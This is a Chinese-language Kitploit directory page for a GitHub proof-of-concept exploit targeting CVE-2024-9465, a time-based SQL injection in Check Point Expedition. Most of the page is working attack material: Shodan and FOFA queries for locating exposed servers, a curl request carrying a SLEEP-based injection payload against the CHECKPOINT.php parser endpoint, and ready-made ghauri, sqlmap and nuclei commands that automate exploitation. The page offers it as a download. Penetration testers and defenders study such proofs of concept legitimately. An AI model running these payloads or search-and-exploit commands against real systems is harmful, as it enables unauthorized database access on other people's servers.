Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-9465 — CVE-2024-9465 的概念验证漏洞利用程序,针对 Check Point Expedition 中的基于时间的 SQL 注入漏洞,包含 Shodan/FOFA 搜索查询,并集成 sqlmap、ghauri 和 nuclei。 | Kitploit
工具/GitHubGitHub/mustafaakalin/cve-2024-9465
侦察漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubmustafaakalin/cve-2024-9465

CVE-2024-9465

CVE-2024-9465 的概念验证漏洞利用程序,针对 Check Point Expedition 中的基于时间的 SQL 注入漏洞,包含 Shodan/FOFA 搜索查询,并集成 sqlmap、ghauri 和 nuclei。

查看仓库
61年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-9465

Checkpoint 基于时间的 SQL 注入攻击(CVE-2024-9465)

SHODAN 搜索

root@kitploit:~
https://www.shodan.io/search?query=html%3A%22Expedition+Project%22

html:"Expedition Project"

FOFA 搜索

root@kitploit:~
https://en.fofa.info/
body="Expedition Project" || title="Expedition Project"

使用方法

root@kitploit:~
python3 CVE-2024-9465.py -u https://domain.com

cURL 命令

root@kitploit:~
curl -X POST "https://domain.com/bin/configurations/parsers/Checkpoint/CHECKPOINT.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=import&type=test&project=pandbRBAC&signatureid=1+AND+(SELECT+1234+FROM+(SELECT(SLEEP(10)))horizon3)" \
-w "Total Time: %{time_total}\n" \
-k

Ghauri 命令

root@kitploit:~
ghauri --url "https://domain.com/bin/configurations/parsers/Checkpoint/CHECKPOINT.php" \
--data "action=import&type=test&project=pandbRBAC&signatureid=1" \
--technique T \
--dbms mysql \
--time-sec 10 \
-p signatureid \
--threads 10 

SQLMAP 命令

root@kitploit:~
sqlmap -u "https://domain.com/bin/configurations/parsers/Checkpoint/CHECKPOINT.php" \
--data "action=import&type=test&project=pandbRBAC&signatureid=1" \
--dbms=mysql \
--level 5 --risk 3 \
--time-sec=10 \
--technique=T \
--tamper=space2comment \
--batch --random-agent -v 3

Nuclei 命令

root@kitploit:~
nuclei -u https://domain.com -t CVE-2024-9465.yaml -v
下载工具